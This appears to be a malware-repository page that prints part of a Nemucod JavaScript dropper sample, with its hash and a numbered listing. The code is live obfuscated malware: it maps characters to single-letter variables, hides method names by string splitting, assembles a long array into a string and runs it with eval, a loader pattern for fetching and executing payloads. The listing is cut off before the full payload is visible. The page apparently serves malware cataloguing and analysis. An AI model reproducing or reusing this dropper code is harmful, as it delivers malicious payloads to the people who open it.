20161006_5e526756535e95a6bbc51cbdf55cc5df.js
Nemucod malware dropper
gp array concat rebuildDense gp token array
SHA-25652ce7925a0f8dd3bc3d179c19c7a9e6d38518932d1f15fcd0a611587b72a8f9e
MaleculeK₂(McLi)O₂(As₆S)H₂(DbPo)
Evidence
1
2/*@cc_on
3var an = "";
4var xu = 0;
5
6asdddddddddd();
7var bd,xj,ji,bz,mi0,tp,pd,dk,ny,ta,cr,qh,fe,wh,eq,lh,hj0,bg,rv,wc,xl,ug,pw,yh,er,nr,hg,cr0,pp,cy,wq,it,dh,mu,rk,fy,hj,vr,ki,ap,au,nj,qi,ux,ty,ez,ob,ur,oz0,yz,dz,nu,kc,vj,yo,hy,ik,fd,rm,zo,wm,xs,qa,wd,oz,ui,gk,xy,eo,jk,yz0,pi,km,sz,rc,gc,pf,wn,ga,ul,zs,hw,dw,xf,sl,fu,mi,bc;
8var gp = [("x", qa),("x", jk),("x", oz),("x", mu),("x", wh),("x", ul),("x", hj),("x", oz),("x", ap),("x", ga),("x", it),("x", dh),("x", hj0),("x", bd),("x", ap),("x", ap),("x", ap),("x", ap),("x", gk),("x", wn),("x", ui),("x", ap),("x", dw),("x", cr),("x", vr),("x", ul),("x", bc),("x", jk),("x", ta),("x", rk),("x", qa),("x", jk),("x", vr),("x", wh),("x", ta),("x", rk),("x", ap),("x", hy),("x", ap),("x", pp),("x", cy),("x", hg),("x", pp),("x", xl),("x", pp),("x", pp),("x", xl),("x", pp),("x", mu),("x", pp),("x", xl),("x", pp),("x", ui),("x", pp),("x", xl),("x", pp),("x", ul),("x", pp),("x", xl),("x", pp),("x", fe),("x", wh),("x", pp) …
8:172091… vj),("x", xj),("x", bd),("x", eq),("x", vj),("x", xj),("x", bd),("x", xj),("x", bd)];
9do
10{
11 an = an['c'+"o"+'n'+"ca"+"t"](gp[xu]);
12 var pn = (gp["l"+"e"+'n'+"gt"+"h"]-1);
13} while (xu++ < pn);
14eval(an);
15function asdddddddddd()
16{
17bd=('d', '\x0a');
18xj=('d', '\x0d');
19ji=('d', 'D');
20bz=('d', 'H');
21mi0=('d', 'L');
22tp=('d', 'P');
23pd=('d', 'T');
24dk=('d', 'X');
25ny=('d', '\x09');
26ta=('d', 'd');
27cr=('d', 'h');
28qh=('d', 'l');
29fe=('d', 'p');
30wh=('d', 't');
31eq=('d', '\x7d');
32lh=('d', '\x7c');
33hj0=('d', '\x7b');
34bg=('d', '\x2f');
35rv=('d', '\x2d');
36wc=('d', '\x2e');
⋯10 lines